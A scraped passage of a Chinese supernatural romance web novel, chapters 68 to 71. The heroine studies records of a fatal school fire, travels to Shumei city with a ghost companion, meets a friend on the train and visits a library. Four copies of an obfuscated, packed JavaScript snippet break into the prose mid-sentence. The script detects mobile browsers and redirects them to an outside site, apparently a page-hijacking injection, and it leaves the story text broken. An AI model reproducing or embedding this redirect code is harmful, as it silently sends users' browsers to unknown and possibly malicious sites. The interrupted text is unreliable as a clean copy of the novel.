;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484957|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简陋的家，还有你桌上的花，已经变成干花了，还不换掉吗？” “要你管。”纪明霜说，“有话直说吧，下次别来了。” 许远坐在了她的餐桌前，“你以为我很想过来吗……你上次的样子还挺吓人的，我都有些发怵了。” 纪明霜：“哦。” 许远说，“我找过你之后，尤白联系了我，但我一点都不开心。” 纪明霜说，“哦？” 许远叹息着，“唉……” 纪明霜从包包里拿出了笔记本和圆珠笔，抬头对许远说，“好了，你现在可以开始讲了，但我说暂停的时候，你就不能继续说了。” “不是，你这是在干什么，面试还是做笔录？” 纪明霜说，“是你自己送上门的啊，不然我就只能送客了。” “行吧……”许远说，“在她生病之前，我和她的事情被她妈妈发现了，那个时候，尤白来找了我，并没有提分手，只是跟我说，我们需要分开一段时间。我当时正在调查她的事，我知道，她妈妈发现了她的事，一是交友不慎，说是的你，二是交男友不慎，说的是我，你和我是两个选项，而她选择的人，是你。” 纪明霜：“哦，明智的选择，然后呢，关于林然的事呢？” “这就是另一件事了……我和她交往之后，这段关系就完全是被她主导的，她总是若即若离，让我很没安全感。有一天，我和她一起吃了晚饭，上车之后，我看到她正在浏览树莓中学重大火灾事件的案件资料，我只是多问了一句，她就冷落了我一个星期。你都不知道，在这一周里，我有多么煎熬，但她就好像什么事都没发生过一样，突然问我要不要见面……我当然同意见面了，她也没有提起这件事，我们一起吃了晚餐，她还送给我一块大牌的手表。” 纪明霜说，“怎么都是你的事啊，林然的事呢，你快点说啊。” 许远：“你怎么是这个态度？” “因为我对你的少男心事不感兴趣。”纪明霜说。 “好吧……我不是一个很大方的人，有的时候确实有点小心眼，我觉得我女朋友心里有别人人，我真的很在意这件事，于是我调查了她……” 纪明霜：“噫，你好变态啊。” 许远白了她一眼，继续说道，“分手的那天，她跟我说，我们分开一段时间吧，我当时很生气，就把我调查结果告诉了她。” “哦，然后呢？” “她很生气，当场提出了分手，还用她的包包砸了我的脸。” “正确的决定，然后呢。” “然后就没有然后了。”许远说，“我也知道，是因为我做了错事，我们的关系才走到这一步，每个人都有隐私，我不应该调查她，但我没办法，我太在意了，我好想知道当年到底发生了什么，距离那场火灾已经过去六年了啊，她还没有走出来吗？” 许远抬头，发现纪明霜已经开始玩手机了，“不是，你在干什么？” 纪明霜低着头说，“消消乐，挺好玩的。” 许远：“……行吧，我现在开始说，关于林然的事。” 闻言，纪明霜抬起了头。 68. 第68章 影子 许远把整理好的资料交给了纪明霜：“给你，拿着吧，这是复印件。” 纪明霜接过用绿色抽杆夹和透明塑料皮夹着的文件，翻了翻，“你准备得还怪充分的咧。” “行了，少废话，赶紧看吧，等你看完之后，大概就能了解我此刻的心情了吧……” “是吗？”纪明霜翻了翻，“但是你的字体和排版都有问题啊，还有页码也不对啊，怎么只有单数页有页码啊……” 抬头对上许远幽怨的目光，纪明霜又低头翻资料，“不好意思，职业病犯了……” 许远：“……” 纪明霜翻看着目击者的采访记录，他说，关于树莓中学重大火灾事故，事故发生的时候，我就在现场，我当时正在用手机拍视频，突然听到有人在大喊大叫，我以为有学生在追逐打闹之类的，但又感觉不对，仔细一听，才听到他们喊：着火了！ 我当时吓了一跳，转念一想又觉得，应该只是一场小火灾吧，情况应该不会很严重，因为这天是我们学校的毕业典礼，有很多领导、企业家和学者前来参观，是非常重要的日子。 虽然这么想着，但我还是很害怕，我赶紧从四楼往下跑，路过二楼的时候，我听到了呼救声，我当时有点迟疑，因为我不知道二楼的具体情况，但我还是决定去看看。在这个过程中，我的手机一直拿在手里，所以，我录到了她的声音…… 我听到她说，‘求求你，不要丢下我，我现在根本动不了……’ 然后我就看到林然学长把一个学姐救出了火场，嗯，那个学姐穿的制服有点奇怪，林然学长的脸色也好难看，他的嘴边有血，制服也弄脏了，但我觉得他好厉害，在这样紧急的情况下，居然还能帮助别人。 林然学长告诉我，火势没有蔓延过来，库房里有人被困住了，我和旁边的人，哦，不好意思，刚才没说，我旁边还有另外三个人，我们是一起从楼上跑下来的，我们又一起去了库房那边，果然找到了一个女生，我们就一起跑出去了。 事情到此为止，其实还算顺利，但林然学长应该已经出去了啊，当时火势根本没有蔓延过来，就连我都毫发无损，但林然学长却……唉，从此以后，我再也没有见过他，听说他死在了那场大火里，他的父母是树莓大学的教授，事故发生之后，他们辞职搬家，从此不知所踪。 被林然学长救下的学姐一直在住院，而且是禁止探视的状态，不过我有听说，她后来上了大学，真的是太好了。 唉，直到现在，我还是觉得很可惜，林然学长他考了那么高的分，还取得了数学邀请赛的资格，体育成绩名列前茅，游戏也打得很好，他是我见过最优秀的人…… 说起来，有一件事倒是蛮奇怪的，我后来查看录像的时候，前半段基本只有声音，后半段虽然有画面了，但是非常模糊，还有不少奇怪的黑点，最后就变成漆黑一片了。但我的手机没有坏掉，拍照摄影功能都是正常的，火场的温度也不算高，为什么我拍到的东西那么奇怪呢？ 后面附着一张照片，照片里是学校礼堂的二楼楼道，林然正拉着靳尤白的手腕，但纪明霜总觉得哪里不太对。 林然此时正站在她的身边，一副若有所思的模样，纪明霜在笔记本上写道：是这样吗？ 林然：“忘了。” 纪明霜继续往后翻着，这是一张照片的黑白复印件，纪明霜一眼就认了出来，照片里的女生正是靳尤白，她穿着树莓中学的男式制服外套，正站在校长的旁边，素面朝天，举着剪刀手，笑得很开心。 纪明霜继续往后翻，这是一张抓拍的照片，照片里是……她和林然。 林然穿着树莓中学的新版制服，背后是矮牵牛花坛，虽然照片是黑白的，但她记得，那些花是淡粉色和淡紫色的，这个季节的花开得正好，入春之后，能一直绽放到夏天，密密丛丛的，全是花朵。 照片的左边，一个衣服上别着工作牌的记者姐姐拿着相机，正准备按下快门，而林然并没有看向镜头，而是对她说话。 他说的是什么来着。 纪明霜的头又开始隐隐作痛，但这种痛感很快就消失了，因为她想起来了。 他当时说的是：拿过来。 她发誓，她平时是能拧开矿泉水瓶子的，但那天，天好热，她拧不开，当时，记者姐姐正在调试设备，围观的同学们站在外围，他注意到她正在努力拧开瓶子，鼻尖上隐隐约约沁出了汗珠，他对她说，“拿过来。” 纪明霜不想被同学们起哄，虽然她确实很喜欢林然，虽然她和林然的关系确实很亲密…… 她说，“才不要！” 这时的林然被记者姐姐抓拍到了，于是就有了那张新闻上的照片。 其实那时，记者姐姐刚刚调试好设备，拿起相机随手按下快门，她后来也拍了别的照片，在图书馆，在大礼堂，在教室，但记者姐姐最满意的还是她抓拍的这一张，所以当林然荣获XYTQ晋级联赛一等奖时，她把这张照片用做了配图。 林然也知道，她不喜欢被人调笑或者起哄，所以在学校里，他不会表现得与她太过相熟，以至于他都形成了习惯，总是连名带姓地叫她——纪明霜。 纪明霜愣愣地坐在原地，她想起了过去的事，她的头并不痛，但她的心好痛。 他已经死了啊…… 他为什么死了呢？ 难道是因为她吗？ 可是她已经忘记了。 在得知他曾经这样热烈而美好地活着之后，她心中真切的难过就会有加无已，她很难描述她此刻的心情，因为她只感觉冷。 好冷啊…… “纪明霜，你还好吗？”林然说，“要不今天就到此为止，不要再继续了。” 纪明霜摇摇头，“没关系的。” 就连许远也看出她的不对劲，他冷笑一声，“没错，就是这样，那天是毕业典礼，靳尤白来到树莓中学，她向朋友借了树莓中学的制服，她原本就和你长得很像，又穿着和你一样的衣服，再加上火灾现场又有浓烟，能见度低。林然原本想救你的，但他认错了人，把靳尤白救出了火场，自己却葬身火海。正因如此，她把林然视为救命恩人，指不定还是白月光之类的，她也对你怀有愧疚，所以才尽量对你好。所以说，你的朋友只是对你心怀愧疚，并不是真心想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490274|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你做朋友。” 纪明霜面无表情地抬头，“哦，然后呢？” “怎么样，很破防吧？” 纪明霜：“……并没有，不过，你能不能彩印啊，你现在很缺钱吗，这些复印件都是黑白的，连细节都看不清楚，特别是这张视频截图，黑得都快糊在一起了。” 许远看了一眼，“没办法，这张本来就很黑啊。” 纪明霜：“这个视频呢，能给我看看吗？” 许远，“能倒是能，但是你真的不难过吗……” 纪明霜：“少废话，快点。” 许远拿出了手机，给纪明霜点开一段视频，“你看，就是这一段。” 纪明霜接过手机，仔细地看着手机里的画面，她盯着林然看了很久，那个时候，林然还没出事，他那时还活着，嗯，是活着的林然啊…… 过了一段时间，她才回过神来，她发现，靳尤白的影子不对。 奇怪。 真的好奇怪。 无论如何，她的影子都不应该是这样的啊…… 而且，这个形状，她似乎在哪里见过。 纪明霜暂停了视频，从包包里拿出了那半本手记，翻开了其中一页。 没错，靳尤白的影子和手记里其中一页记录的形状一模一样，但很可惜的是，手记的这部分内容，已经几乎没有参考价值了，因为手记作者的精神状态明显不太正常，这一部分的记录里，不仅他的语气毫无逻辑，语句难以理解，而且还有很多毫不相关的错别字。 而且，如果有错别字的话，要错就一起错，但手记里却是有对有错的，还时不时冒出一些他自创的文字，反正纪明霜在字典里查不到这样的字，就手记作者的书写习惯来看，这也应该不是什么甲骨文之类的难懂文字。 纪明霜尝试阅读过这一部分的内容，但她真的完全看不懂。 至于这个影子的图案，她当时以为是手记作者胡乱涂鸦，现在看来，这本手记的作者应该是接触过靳尤白身上的怨魂，而且，他很有可能是受到了这些怨魂的影响，才逐渐疯掉的。 但很可惜的是，她手里只有半本手记，他接触怨魂的过往记录，并不在她的手中。纪明霜翻出手记中夹着的一张纸，这张纸也许就是线索呢。 许远敲了敲桌面，“喂，你的反应呢？” 纪明霜抬头：“什么反应？” 许远扯了扯嘴角，“她对你这么好，完全是因为林然啊……” 纪明霜：“哦。” 许远：“……就这？” 纪明霜：“不然呢，你想让我怎样？” “难道只有我一个人很在意吗，是啊，林然死了，他是她的白月光，所以我永远都比不上林然，难道说，活人就永远比不上死人吗？” 纪明霜尽量组织着措辞，企图安慰他，“那个，你要珍惜生命，不要轻生啊，毕竟，你死了照样比不过他。” 许远：“啊？” 林然：“……” 纪明霜点了点头。 许远森然一笑，“你想多了，我还有一句话，等我们见面的时候，我会亲口告诉她……” 69. 第69章 委托 “哦。”纪明霜的反应很是冷淡。 许远也觉得很无趣，他站了起来，“既然如此，那我也没什么可说的了……” 纪明霜一把拉住了他，“等一下，当时的目击者，你有他的联系方式吗？” 许远：“有啊，但是……” “行了，别但是了。”纪明霜把桌面上的中性笔和笔记本递给了他，“帮我写一下，谢谢。” 许远照做了，他小声地说，“但是我怎么感觉我被你利用得很彻底呢……” 纪明霜说，“你不也是一样吗，你找不到靳尤白，就从我这里下手，唉，你还是放弃吧，这又是何必呢。” 许远说，“不行，我就是放不下她。” 纪明霜说，“被冷淡地对待，然后又被分手，确实很伤自尊，但直到现在，这段感情给你带来的更多是负面影响，你调查了这么多，难道不累吗，回去好好睡一觉，这件事就到此为止吧。” “你又不懂！” 纪明霜：“……要不你还是去找个班上吧，这样就不会想那些有的没的了。” 许远：“不！” 许远不愿意听劝，纪明霜也没有多说，许远离开之后，她坐在餐桌前，整理着收集到的资料。 她拿出了手记里夹着的那张纸，那是一张树莓市立书馆的借书凭据，背面写着一个字：好。 借阅人的姓名已经被涂黑了，纪明霜打开了房间里的灯，企图透过灯光看到什么，很可惜，看不到，但这张借书凭据上被借阅的三本书的书号和借阅日期都在。 她打开树莓市立图书馆的官网，除了周一闭馆之外，其余时间都是正常开放的，抽时间过去一趟吧，也许能找到什么线索呢。 所以她的行程是这样的：明天是周五，上午正常上班，并走外勤流程，中午高大师请客吃饭，下午，去一趟树莓市，等周日晚上再回来。 打定了主意之后，是不是应该考虑下出行方式呢，貌似可以坐动车啊，她又查询火车和动车的车票价格，还有行程时间，对了，还有住宿的事，应该好好计划一下。 最近没有什么节日假期，树莓市也没有演唱会之类的活动，并不是出行的高峰期，票也不算难买，既然这样的话，提前跟徐阳说一声出外勤的事吧…… 给徐阳打完电话之后，纪明霜联系了楼下的方婆婆，方婆婆愉快地同意了纪明霜的寄养请求，两天的时间，小黑猫留守在家，也太寂寞了……嗯，这件事也解决了。 而后，她买了两张动车车票，又预订了一间单人大床房，而后，她开始整理物品清单，包括：必要的证件、换洗的衣物、手机、耳机和充电器，洗漱用品的话，宾馆应该会提供吧，还有可爱的公主洋娃娃，也一定要带着。 还有一些零零散散的东西，纸巾、雨伞、口罩，笔记本和中性笔，还有那半本手记。 林然看了看她的清单，说，“不需要拿雨伞，那边不会下雨。” 纪明霜把纸上的‘雨伞’划掉，“嗯，还有吗？” “树莓市会更冷，你得穿厚一点，动车上也很冷，你可以多拿一点暖宝宝，还有垃圾袋也别忘了。” 纪明霜：“嗯嗯。” 对照着物品清单，纪明霜又列了简单的购物清单，需要买的东西不多，也不难买，等周五下午再买也来得及。 …… 就这样，时间来到了周五中午，高大师请客吃饭，这是一家很有名气，价格很贵，还很难预约的餐厅，席间，徐阳还说起了另一件事，“说起来，纪姐，我们最近又收到一份委托，初步判定是关于灵异事件的委托哦。” 阿依说，“别高兴得太早了，也许又是精神病人的胡言乱语，或者是什么恶作剧之类的。” “但是我和师父都觉得有必要去过看看，离得也不算远，就在隔壁树莓市。”徐阳说。 纪明霜放下了筷子，“树莓市？” 徐阳点点头，继续夹菜，“是啊，但这份委托有点奇怪呢……” 纪明霜问道，“怎么说？” “是这样的。”徐阳说，“我之前应该没说过我们是怎么接取委托的吧，我师父有人脉，也认识不少同行，有的同行没空或者没办法解决的委托，我师父就会过去帮忙看看，但这样的委托少之又少，能被我们解决的委托就更少了。” 高大师说，“而且这类委托还有一定的危险性，解决灵异事件的平时，也要注意保护自己的人身安全。” 徐阳又说，“然后就是阿依负责运营的社交账号了，阿依会定期查看后台私信，虽然能接到很多委托，但是，直到现在，居然连一个真正的灵异事件都没有。” 纪明霜点点头，“这样啊……” “然后就是这份委托，它的来源比较奇怪，前天早上，我一开门，门口的地上多了一封信，我把信捡起来，打开看了看，但它并不是寄给我们的委托信件，阿依，那封信你带着吗？” “我随身带着呢。”阿依从手提包里拿出一个信封，递给了纪明霜，“纪姐，你要看看吗？” 纪明霜接过信封，打开信件，大概看了一眼，这是一封寄给纪大师的委托信件，而且从信件的右下角的署名和日期来看，这是一封在九个月前就写好的信件。 她把信件读了一遍，信里的大致内容是：委托人是树莓市的本地人，六年来，每当六月的第三周到来，他就会陷入极度可怕的噩梦，梦里是无穷无尽的痛苦与颠倒错乱，想到这一天即将到来，他就无比惶恐，昼夜不得安息，这种情况每年都在变得更加严重，他现在基本没办法正常生活了。 他曾经给纪大师写了很多封信，但都石沉大海，杳无音讯，他已经用过了他能想到的所有办法，他曾经听说过纪大师的事迹，也相信纪大师拥有着踔绝之能，所以，纪大师是他最后的希望。 去年，他生了一场大病，但他选择在这个时间段做手术，希望麻醉之后，他能做一场空梦，希望外科手术的术后疼痛能让他难以入眠，但那时，他的噩梦是术中知晓。 最后，他写了他的家庭住址和联系方式，他希望纪大师能帮帮他，把他从可怕的噩梦中解救出来。 阿依说，“纪姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494446|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，怎么样，要我说，还蛮吓人的呢……” 徐阳说，“是啊，我也经常做噩梦，但这种程度的噩梦，我真的从来没做过，而且他描写得好细致，还挺有代入感的，我感觉我今晚就会做噩梦……” 阿依说，“等等，徐阳，这种噩梦应该不会通过信件传染吧？” 徐阳和阿依对视一眼，又看向了纪明霜，“纪姐，应该不会吧。” 纪明霜说，“没听说过，不过这份委托到底是怎么到你手上的呢？” “我也不知道，那天，我看了信之后，还去查了监控，但监控视频已经被删除……阿依这么一说，我的心里也毛毛的。”徐阳说。 “那你们准备什么时候过去呢？”纪明霜问道。 高大师说，“我们准备明天过去，徐阳把信给我看了之后，我就给委托人打去电话，说明了具体情况。他也不知道为什么我能拿到这封信件，但他已经病急乱投医了，他让我赶紧行动，最好当天就过去，但我当时还在忙老张的事，就跟他说，下周吧。他说，能不能早点去，他的情况有变，我就和他约定，周六去他那边。” 纪明霜点点头，“说起来，还蛮巧的呢，我已经买了去树莓市的动车车票，今天下午出发，周日晚上回来。” 徐阳说，“纪姐，你也收到那份委托了？” 纪明霜摇摇头，“没有，我有一点私事要做。” 阿依说，“也就是说，纪姐明天也在树莓市，纪姐，你要不要过来看看情况啊？” 纪明霜说，“明天上午，我要去一趟树莓市立图书馆，等我的事办完之后，我再过去你们那边，可以吗？” 阿依说，“当然可以了，真是太好了，有纪姐在，我就安心多了。” 高大师说，“说起来，小纪，你的车票和酒店的费用，还有一些杂七杂八的费用，列个清单，方便报销。” 纪明霜：“这种私人行程，公司还能报销吗？” 徐阳说，“想想也知道不可能了，光是报销项目和详细内容就没办法编，但我师父可以给你报销啊，毕竟我师父没什么别的优点，就是钱多。” 纪明霜：“这样不太好吧……” “没关系，就当是和我们一起出差了，你可别为了省钱，订那种便宜的宾馆，我觉得有家四星级酒店就不错，主要是地理位置比较好，离委托人家蛮近的，咦，离图书馆也不远……”阿依说，“纪姐，要不我在酒店帮你订一个房间吧，到时候你直接来办理入住就可以，别忘了带身份证件啊。” 纪明霜说，“不用了，车票也没几个钱，宾馆我也订好了，那到时候，我们电话联系？” 阿依新建了一个群组，把高大师、徐阳和纪明霜也拉了进去，又把这次的委托人的家庭住址和联系电话发在了群里。 吃完午饭之后，纪明霜按照购物清单购买了物品，并整理了行装，下午，她就坐上了通往树莓市的动车，在候车大厅里，她翻着那本手记，希望能有收获吧。 然而，没等她到树莓市，就已经有收获了，在动车上，她遇到了小敏。 70. 第 70 章 事情是这样的，纪明霜上车之后，一直在专心地玩消消乐，动车上没有空位，过道也人来人往，所以林然藏身于洋娃娃之中，纪明霜把洋娃娃放在她面前的桌子上，让林然看她玩游戏，至少不会太无聊。 卡了很久的关卡马上就要通过了，纪明霜正专心地玩着，突然，她听到林然说，“纪明霜，抬头。” 纪明霜抬起头来，看到小敏正端着一盒泡面从她面前经过，纪明霜喊了她一声，“小敏？” 小敏循着声音低头看去，正对上纪明霜的目光，“……诶，纪小姐？” “好巧啊，小敏。” 小敏四处看了看，“纪小姐，你是一个人吗？” 纪明霜点点头，“嗯，是的。” “那……你是要去树莓市吗？” 纪明霜点点头，“嗯。” “可是，你去树莓市干什么，你爸妈也不住在树莓市啊，难道是出差？” 纪明霜：“不是，是一点私事，小敏，你的脸色好像不怎么好看？” 小敏露出一个勉强的笑容，“不好意思，纪小姐，泡面太烫了，咱们这样也不好说话，要不我们一起去餐车吧，我请你吃盒饭！” 纪明霜提着包包站了起来，“可以啊，我们可以一起聊聊天，不过我已经吃过东西了……” 小敏和纪明霜一起去了餐车，两个找了个位置坐下，餐车的桌上铺着两层桌面，下面那层是米白色，上面那层是宝蓝色，窗户的旁边还放着一盒塑料假花，此外，还有一张塑封的破旧菜单。 小敏把泡面放在桌上，又拿出手机扫码下单，“纪小姐，你要吃什么啊，这里有青椒炒蛋、香葱煎蛋、番茄炒蛋……” 纪明霜连忙摆手，“不用给我点，我不饿。” 小敏抬头，“没关系啦，不用拘束，这些也不算贵啊，毕竟是在动车上。” “我今天中午吃得比较多，因为我今天中午去了那家很有名的餐厅……” 小敏说，“哇，那家超贵啊，那么小一份生菜沙拉都要一百二十八块，要不是那天是我老板请客，我看都不会多看那家店一眼。” 纪明霜点点头，“我也一样，我也是有人请客。” 小敏给自己点了一份盒饭，又打开泡面盖子看了一眼，还没泡好，她抬头道，“说起来，纪小姐，你怎么突然去树莓市了，这件事，我老板她知道吗？” “她应该不知道的吧，除非你告密了。” 小敏：“其实我原本准备这么做的，但是我的手机马上就要没电了……” “不是吧，你没有提前给手机充电，也没有拿充电器？” 小敏说，“我、我完全忘掉了，因为我实在是太开心了，我今天特意请了假，明天我就能见到吱吱太太啦！” “咦，你特别喜欢的吱吱太太，她也住在树莓市吗？” 小敏点头，“嗯嗯，我之前就知道吱吱太太离我并不算远，没想到居然这么近，居然只要五个半小时的路程，我现在真的好激动啊，大概这就是朝圣的感觉吧！” 纪明霜被她逗笑了，小敏也拿到了她的盒饭，泡面也泡好了，小敏说，“我今天中午没吃东西，那我就开始吃了哦。” “吃吧吃吧，不过你今天中午为什么没吃饭啊，难道是在加班吗？” 小敏说，“完全没有，我一直在查攻略来着，我好紧张哦，说起来，我身上的裙子怎么样，好看吗？” 说着，小敏就要站起来，给纪明霜展示身上的裙子，纪明霜：“挺不错的，吃你的吧。” 小敏又坐了回去，“我还找了一些可以聊的话题，比如‘你最近玩了什么游戏吗？’、‘你最近有出门旅游吗？’、‘你的外套真好看，是从哪里买的呢？’、‘这家餐厅好好吃，改天我们再一起过来吃吧！’” 纪明霜：“大概这就是预制话题吧……” 小敏点了点头，又从斜挎包里拿出了一张折好的A4纸，“我还特意打印了一份，想不出话题的时候就偷偷看看，这样就绝对不会冷场啦！” “你准备得好齐全啊，简直像小抄一样……我能看看吗？” “当然可以哦！”小敏的表情有些得意。 在小敏专心吃东西的时候，纪明霜大致浏览了这份标题为‘和吱吱太太聊天可以找什么话题’的资料，而后，她说，“不过，小敏，这些好像都是问题啊，如果一直提问的话，简直像相亲一样啊。” 小敏放下了泡面的叉子，拿过这张纸看了一遍，“对哦……一直提问也会显得很冒犯。” “说起来，第七十三个问题，‘我送给你的剃须刀喜欢吗？’，小敏，那位‘吱吱太太’是男性吗？” “是女孩子，这是我从网上找来的，但是我似乎确凿没有给她准备礼物，啊，太仓促了，幸亏还有一点时间。”小敏继续吃着泡面，“纪小姐，如果是你的话，会送什么礼物啊？” 纪明霜说，“你应该比较了解她的喜好吧。” “不知道哦，感觉她是一个性格有点奇怪的女孩子，有的时候很温柔贴心，有的时候很爱捉弄人……我只知道她最喜欢的花是香雪兰和风铃花。”小敏说，“……啊啊，好纠结啊，我到底要买什么比较好啊……” 纪明霜说，“嗯……我想，至少可以用排除法，我想想，我没有什么特别推荐的店铺，但是，最好不要在车站的商店买东西。” “啊，为什么啊？” 纪明霜说，“因为又贵又差。” “这样啊……” 接下来，小敏安静地吃完了她的盒饭和泡面，而后，她去问了工作人员，两人可以一直在餐车坐到下车，小敏说，“能遇到纪小姐真是太好了，我的手机快没电了，我还以为我得一个人看三个小时的油菜花田呢。” 纪明霜：“对了，我带了手机的充电线，你看下能用吗？” 小敏接过了充电线，惊喜地说，“太好了，能用诶！” “总之，你先将就用用吧，在这里充电很慢的，而且会伤电池。” 小敏：“嗯嗯。” 到下车的时候，小敏的手机电量也只恢复了五分之一而已，幸运的是，小敏和纪明霜正好顺路，纪明霜打了车，把小敏带到了她预订的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504395|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店门口，附近正好有一条不错的购物街，小敏的选择困难症实在是太严重了，纪明霜帮忙挑了一串紫色的漂亮风铃，还帮小敏垫付了买礼物和手机充电器的钱，而后才步行去了她预订的那家宾馆。 这家宾馆的地理位置就在小敏所住的高空酒店的附近，纪明霜预订了十二层的房间，纪明霜入住的时候，前台小姐还多说了一句，“您好，我们的工作人员是不会半夜敲门的，如果您听到了敲门的声音，请不要打开房门，如果一直有人敲门，可以打电话给前台。” 纪明霜点点头，“嗯嗯，明白了。” 前台小姐说，“您好像不怎么害怕呢，如果是其他客人，现在就会找我换房间了。” “说起来，我预定的房间能看到江景吗？” 前台小姐说，“不能哦。” “那有能看到江景的空房间吗？” 前台小姐摇了摇头，“不能的，我们家宾馆才十二层，如果您想看江景的话，嗯，其实可以预订江景酒店十八楼及以上的房间哦。” 纪明霜：“……这个是可以说的吗？” 前台小姐看了看周围，确认经理不在时，她才说，“反正又没监控，而且我干完这个月就走人了，好烦哦，客人不满意要扣钱，订单价格低要扣钱，无论是谁弄丢房卡，都要扣我的钱，真是有病……而且这里真的好冷哦，让我感觉不太舒服。” “咦，具体说说？” 前台小姐说，“就是手冷脚冷，又爱出虚汗，最近还腰酸背痛，经常鬼压床……” “你经常熬夜吗？” “嗯……我最近失眠，熬夜比较多。”前台小姐说，“怎么样，有什么说法吗？” 纪明霜从包包里拿出一张仿制符箓给她，“拿着吧，规律作息，健康饮食，说实话，这里确实比较冷。” 前台小姐一点点头，“哦哦，多少钱啊。” “不要钱，这张是也别人免费给我的。”纪明霜说，“对了，我不是登记了电话号码吗，如果有什么需要，可以给我打电话。” 前台小姐张大了嘴，“啊，我白拿你的东西，这样不太好吧，不过这张符纸，摸起来好像有点暖和？” 纪明霜：“大概是心理作用吧。” 前台小姐点点头，“哦哦，是这样啊，总之还谢谢你，诶，你还站在这里干什么？” 纪明霜：“房卡。” “哦哦，好的。”前台小姐赶紧把房卡递给了纪明霜。 纪明霜没有多说什么，但她能看到，倒挂在宾馆前台天花板上的女鬼默默地挪远了一点，注意到纪明霜的目光之后，她又稍微挪远了一点。 纪明霜所居住的房间是走廊尽头的最后一个房间，她打开了门，宾馆房间里有些暗，温度也不怎么高，但纪明霜不是很介意，因为宾馆的住宿价格还是很美丽的，明天早上还能吃到免费的早餐。 半夜三点左右，房间里果然响起了敲门声，纪明霜有些认床，原本就睡得不好，她直接坐了起来，揉了揉眼睛，嗯，敲门的鬼在房间里，而不是在楼道里，正是她白天看到的那只倒吊女鬼。 71. 第71章 古籍 纪明霜的床上有两个枕头，纪明霜枕着一个，林然栖身的洋娃娃枕着另一个，要不是为了洋娃娃，纪明霜很想直接把另一个枕头狠狠丢过去，然后再大喊一声滚，把那只女鬼赶走。 还有就是，这里好冷啊，看到林然把那只女鬼赶出去之后，纪明霜缩回了被子里，又重新闭上双眼。 不知道为什么，纪明霜失眠了，她悄悄睁开了眼，今夜，林然并没有待在洋娃娃里，而是坐在窗边，遥望着漆黑的夜空。 他很喜欢看窗外呢，早知道就去江景酒店订房间了。 她现在住的是普通宾馆的特价大床房，房间里唯一的窗户面对着无趣的街道，已经凌晨三点了，外面少有经过的路人或者车辆，就连感应路灯也关掉了，现在只有黑漆漆的一片。 听说从江景房里能看到江对面的摩天轮，高楼大厦的霓虹灯光，江面映照着各种各样的颜色，盈盈的水波浮动着明亮色彩，美得像一场朦胧的幻影。 注意到他正回头看她，在他开口之前，纪明霜赶紧闭上双眼，假装睡觉，但她仍然睡不着，过了一会儿，她听到他说，“得了吧，纪明霜，如果无聊，可以开灯玩手机。” 纪明霜：“不要，太冷了。” “嗯。” 房间里陷入了安静。 纪明霜躺在被窝里，在黑暗中，她看着天花板上的扁圆形状的灯罩，“那个，林然……” “嗯？” “谢谢你，我很高兴能被你喜欢。” “不客气。” “我记得你当时说过，你的记忆都忘光了，但你仍然记得那种感觉，我当时不太明白，但我现在好像能理解这种感觉了……” 他似乎是叹了口气，“纪明霜，不用担心，其实我也不想离开你。” 纪明霜用被子把脸盖上，“嗯。” 她听到他说，“所以，好好睡吧，晚安。” 纪明霜小声地说，“晚安。” 她这么想着，要是能这样过一辈子，好像也不错啊。 好像不知不觉就想到了很久之后的事呢…… 大概是因为，她渐渐想起了过去的事吧。 第二天早上，纪明霜睡到了自然醒，而后，她在宾馆吃了简单的早饭，这才出发去了树莓市立图书馆。 不得不说，树莓市立图书馆修建得很漂亮，地上铺设的瓷砖是浅灰和米白色的，天花板上的方形顶灯简约又优雅，光线均匀而柔和，干净整洁，窗明几净，各种各样的人都在这里安静地读书，几乎没有人说话，只有些脚步声、翻页声以及笔尖划过纸面的声音。 图书馆一共有六层，这里的书实在是太多了，纪明霜拿着那张借阅凭证，礼貌地询问了图书管理员，虽然借阅记录由于时间原因已不可考，但至少可以通过书号查询书名，这三本书的书名分别是：《留存于世的地方志中的典型之作——树莓县志》、《树莓时日之民俗小观》和《树莓民俗研究之祭祖篇》。 